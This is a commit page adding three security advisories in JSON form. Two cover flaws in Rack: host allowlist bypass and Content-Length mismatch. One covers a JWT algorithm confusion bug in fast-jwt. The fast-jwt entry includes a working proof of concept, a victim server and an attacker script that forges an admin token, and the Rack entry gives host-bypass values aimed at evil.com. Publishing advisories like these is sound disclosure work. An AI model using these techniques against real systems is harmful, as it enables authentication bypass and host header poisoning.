Skip to content

Commit ba5da06

Browse files
1 parent e2555d2 commit ba5da06

4 files changed

Lines changed: 340 additions & 0 deletions

File tree

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g2pf-xv49-m2h5",
4+
"modified": "2026-04-02T20:36:40Z",
5+
"published": "2026-04-02T20:36:40Z",
6+
"aliases": [
7+
"CVE-2026-34835"
8+
],
9+
"summary": "Rack::Request accepts invalid Host characters, enabling host allowlist bypass",
10+
"details": "## Summary\n\n`Rack::Request` parses the `Host` header using an `AUTHORITY` regular expression that accepts characters not permitted in RFC-compliant hostnames, including `/`, `?`, `#`, and `@`. Because `req.host` returns the full parsed value, applications that validate hosts using naive prefix or suffix checks can be bypassed.\n\nFor example, a check such as `req.host.start_with?(\"myapp.com\")` can be bypassed with `Host: myapp.com@evil.com`, and a check such as `req.host.end_with?(\"myapp.com\")` can be bypassed with `Host: evil.com/myapp.com`.\n\nThis can lead to host header poisoning in applications that use `req.host`, `req.url`, or `req.base_url` for link generation, redirects, or origin validation.\n\n## Details\n\n`Rack::Request` parses the authority component using logic equivalent to:\n\n```ruby\nAUTHORITY = /\n \\A\n (?<host>\n \\[(?<address>#{ipv6})\\]\n |\n (?<address>[[[:graph:]&&[^\\[\\]]]]*?)\n )\n (:(?<port>\\d+))?\n \\z\n/x\n```\n\nThe character class used for non-IPv6 hosts accepts nearly all printable characters except `[` and `]`. This includes reserved URI delimiters such as `@`, `/`, `?`, and `#`, which are not valid hostname characters under RFC 3986 host syntax.\n\nAs a result, values such as the following are accepted and returned through `req.host`:\n\n```text\nmyapp.com@evil.com\nevil.com/myapp.com\nevil.com#myapp.com\n```\n\nApplications that attempt to allowlist hosts using string prefix or suffix checks may therefore treat attacker-controlled hosts as trusted. For example:\n\n```ruby\nreq.host.start_with?(\"myapp.com\")\n```\n\naccepts:\n\n```text\nmyapp.com@evil.com\n```\n\nand:\n\n```ruby\nreq.host.end_with?(\"myapp.com\")\n```\n\naccepts:\n\n```text\nevil.com/myapp.com\n```\n\nWhen those values are later used to build absolute URLs or enforce origin restrictions, the application may produce attacker-controlled results.\n\n## Impact\n\nApplications that rely on `req.host`, `req.url`, or `req.base_url` may be affected if they perform naive host validation or assume Rack only returns RFC-valid hostnames.\n\nIn affected deployments, an attacker may be able to bypass host allowlists and poison generated links, redirects, or origin-dependent security decisions. This can enable attacks such as password reset link poisoning or other host header injection issues.\n\nThe practical impact depends on application behavior. If the application or reverse proxy already enforces strict host validation, exploitability may be reduced or eliminated.\n\n## Mitigation\n\n* Update to a patched version of Rack that rejects invalid authority characters in `Host`.\n* Enforce strict `Host` header validation at the reverse proxy or load balancer.\n* Do not rely on prefix or suffix string checks such as `start_with?` or `end_with?` for host allowlisting.\n* Use exact host allowlists, or exact subdomain boundary checks, after validating that the host is syntactically valid.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "RubyGems",
21+
"name": "rack"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "3.0.0.beta1"
29+
},
30+
{
31+
"fixed": "3.1.21"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "RubyGems",
40+
"name": "rack"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "3.2.0"
48+
},
49+
{
50+
"fixed": "3.2.6"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/rack/rack/security/advisories/GHSA-g2pf-xv49-m2h5"
61+
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34835"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/rack/rack"
69+
}
70+
],
71+
"database_specific": {
72+
"cwe_ids": [
73+
"CWE-1286"
74+
],
75+
"severity": "MODERATE",
76+
"github_reviewed": true,
77+
"github_reviewed_at": "2026-04-02T20:36:40Z",
78+
"nvd_published_at": "2026-04-02T18:16:33Z"
79+
}
80+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mvf2-f6gm-w987",
4+
"modified": "2026-04-02T20:37:54Z",
5+
"published": "2026-04-02T20:37:54Z",
6+
"aliases": [
7+
"CVE-2026-34950"
8+
],
9+
"summary": "fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key",
10+
"details": "### Summary\n The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.\n\n### Details\n The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a\n plain string used with .includes() to a regex used with .match():\n\n```\n // Before fix (vulnerable to original CVE)\n const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'\n // .includes() matched anywhere in the string — not vulnerable to whitespace\n\n // After fix (current code, line 28)\n const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n // ^ anchor requires match at position 0 — defeated by leading whitespace\n\n In performDetectPublicKeyAlgorithms()\n (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):\n\n function performDetectPublicKeyAlgorithms(key) {\n const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!\n\n if (key.match(privateKeyPemMatcher)) {\n throw ...\n } else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {\n return rsaAlgorithms // ← correct path: restricts to RS/PS algorithms\n } else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {\n return hsAlgorithms // ← VULNERABLE: RSA key falls through here\n }\n\n```\n When the key string has any leading whitespace (space, tab, \\n, \\r\\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA\n public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the\n HMAC secret — the exact same attack as CVE-2023-48223.\n\n Notably, the private key detection function does call .trim() before matching\n https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:\nconst pemData = key.trim().match(privateKeyPemMatcher) // trims — not vulnerable\n\n The public key path does not. This inconsistency is the root cause.\n\n Leading whitespace in PEM key strings is common in real-world deployments:\n - PostgreSQL/MySQL text columns often return strings with leading newlines\n - YAML multiline strings (|, >) can introduce leading whitespace\n - Environment variables with embedded newlines\n - Copy-paste into configuration files\n\n### PoC\n Victim server (server.js):\n\n```\n const http = require('node:http');\n const { generateKeyPairSync } = require('node:crypto');\n const fs = require('node:fs');\n const path = require('node:path');\n const { createSigner, createVerifier } = require('fast-jwt');\n\n const port = 3000;\n\n // Generate RSA key pair\n const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\n const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });\n const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });\n\n // Simulate real-world scenario: key retrieved from database with leading newline\n const publicKeyFromDB = '\\n' + publicKeyPem;\n\n // Write public key to disk so attacker can recover it\n fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);\n\n const server = http.createServer((req, res) => {\n const url = new URL(req.url, `http://localhost:${port}`);\n\n // Endpoint to generate a JWT token with admin: false\n if (url.pathname === '/generateToken') {\n const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };\n const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });\n const token = signSync(payload);\n res.writeHead(200, { 'Content-Type': 'application/json' });\n res.end(JSON.stringify({ token }));\n return;\n }\n\n // Endpoint to check if you are the admin or not\n if (url.pathname === '/checkAdmin') {\n const token = url.searchParams.get('token');\n try {\n const verifySync = createVerifier({ key: publicKeyFromDB });\n const payload = verifySync(token);\n res.writeHead(200, { 'Content-Type': 'application/json' });\n res.end(JSON.stringify(payload));\n } catch (err) {\n res.writeHead(401, { 'Content-Type': 'application/json' });\n res.end(JSON.stringify({ error: err.message }));\n }\n return;\n }\n\n res.writeHead(404);\n res.end('Not found');\n });\n\n server.listen(port, () => console.log(`Server running on http://localhost:${port}`));\n```\n\n Attacker script (attacker.js):\n\n```\n const { createHmac } = require('node:crypto');\n const fs = require('node:fs');\n const path = require('node:path');\n\n const serverUrl = 'http://localhost:3000';\n\n async function main() {\n // Step 1: Get a legitimate token\n const res = await fetch(`${serverUrl}/generateToken?name=attacker`);\n const { token: legitimateToken } = await res.json();\n console.log('Legitimate token payload:',\n JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));\n\n // Step 2: Recover the public key\n // (In the original advisory: python3 jwt_forgery.py token1 token2)\n const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');\n\n // Step 3: Forge an HS256 token with admin: true\n // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)\n const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\n const payload = Buffer.from(JSON.stringify({\n admin: true, name: 'attacker',\n iat: Math.floor(Date.now() / 1000),\n exp: Math.floor(Date.now() / 1000) + 3600\n })).toString('base64url');\n const signature = createHmac('sha256', publicKey)\n .update(header + '.' + payload).digest('base64url');\n const forgedToken = header + '.' + payload + '.' + signature;\n\n // Step 4: Present forged token to /checkAdmin\n // 4a. Legitimate RS256 token — REJECTED\n const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);\n console.log('Legitimate RS256 token:', legRes.status, await legRes.json());\n\n // 4b. Forged HS256 token — ACCEPTED\n const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);\n console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());\n }\n\n main().catch(console.error);\n```\n\n Running the PoC:\n # Terminal 1\n node server.js\n\n # Terminal 2\n node attacker.js\n\n Output:\n Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 }\n Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' }\n Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }\n\n The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's\n forged HS256 token is accepted with admin: true.\n\n\n### Impact\nApplications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify\nfunction without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to\nsign arbitrary payloads which will be accepted by the verifier.\nThis is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original\nCVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "fast-jwt"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "6.1.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://github.com/advisories/GHSA-c2ff-88x2-x9pg"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nearform/fast-jwt"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-327"
55+
],
56+
"severity": "CRITICAL",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-04-02T20:37:54Z",
59+
"nvd_published_at": null
60+
}
61+
}
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-q2ww-5357-x388",
4+
"modified": "2026-04-02T20:36:10Z",
5+
"published": "2026-04-02T20:36:10Z",
6+
"aliases": [
7+
"CVE-2026-34831"
8+
],
9+
"summary": "Rack has Content-Length mismatch in Rack::Files error responses",
10+
"details": "## Summary\n\n`Rack::Files#fail` sets the `Content-Length` response header using `String#size` instead of `String#bytesize`. When the response body contains multibyte UTF-8 characters, the declared `Content-Length` is smaller than the number of bytes actually sent on the wire.\n\nBecause `Rack::Files` reflects the requested path in 404 responses, an attacker can trigger this mismatch by requesting a non-existent path containing percent-encoded UTF-8 characters.\n\nThis results in incorrect HTTP response framing and may cause response desynchronization in deployments that rely on the incorrect `Content-Length` value.\n\n## Details\n\n`Rack::Files#fail` constructs error responses using logic equivalent to:\n\n```ruby\ndef fail(status, body, headers = {})\n body += \"\\n\"\n [\n status,\n {\n \"content-type\" => \"text/plain\",\n \"content-length\" => body.size.to_s,\n \"x-cascade\" => \"pass\"\n }.merge!(headers),\n [body]\n ]\nend\n```\n\nHere, `body.size` returns the number of characters, not the number of bytes. For multibyte UTF-8 strings, this produces an incorrect `Content-Length` value.\n\n`Rack::Files` includes the decoded request path in 404 responses. A request containing percent-encoded UTF-8 path components therefore causes the response body to contain multibyte characters, while the `Content-Length` header still reflects character count rather than byte count.\n\nAs a result, the server can send more bytes than declared in the response headers.\n\nThis violates HTTP message framing requirements, which define `Content-Length` as the number of octets in the message body.\n\n## Impact\n\nApplications using `Rack::Files` may emit incorrectly framed error responses when handling requests for non-existent paths containing multibyte characters.\n\nIn some deployment topologies, particularly with keep-alive connections and intermediaries that rely on `Content-Length`, this mismatch may lead to response parsing inconsistencies or response desynchronization. The practical exploitability depends on the behavior of downstream proxies, clients, and connection reuse.\n\nEven where no secondary exploitation is possible, the response is malformed and may trigger protocol errors in strict components.\n\n## Mitigation\n\n* Update to a patched version of Rack that computes `Content-Length` using `String#bytesize`.\n* Avoid exposing `Rack::Files` directly to untrusted traffic until a fix is available, if operationally feasible.\n* Where possible, place Rack behind a proxy or server that normalizes or rejects malformed backend responses.\n* Prefer closing backend connections on error paths if response framing anomalies are a concern.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "RubyGems",
21+
"name": "rack"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.2.23"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "RubyGems",
40+
"name": "rack"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "3.0.0.beta1"
48+
},
49+
{
50+
"fixed": "3.1.21"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "RubyGems",
59+
"name": "rack"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "3.2.0"
67+
},
68+
{
69+
"fixed": "3.2.6"
70+
}
71+
]
72+
}
73+
]
74+
}
75+
],
76+
"references": [
77+
{
78+
"type": "WEB",
79+
"url": "https://github.com/rack/rack/security/advisories/GHSA-q2ww-5357-x388"
80+
},
81+
{
82+
"type": "ADVISORY",
83+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34831"
84+
},
85+
{
86+
"type": "PACKAGE",
87+
"url": "https://github.com/rack/rack"
88+
}
89+
],
90+
"database_specific": {
91+
"cwe_ids": [
92+
"CWE-130",
93+
"CWE-135"
94+
],
95+
"severity": "MODERATE",
96+
"github_reviewed": true,
97+
"github_reviewed_at": "2026-04-02T20:36:10Z",
98+
"nvd_published_at": "2026-04-02T17:16:26Z"
99+
}
100+
}

0 commit comments

Comments
 (0)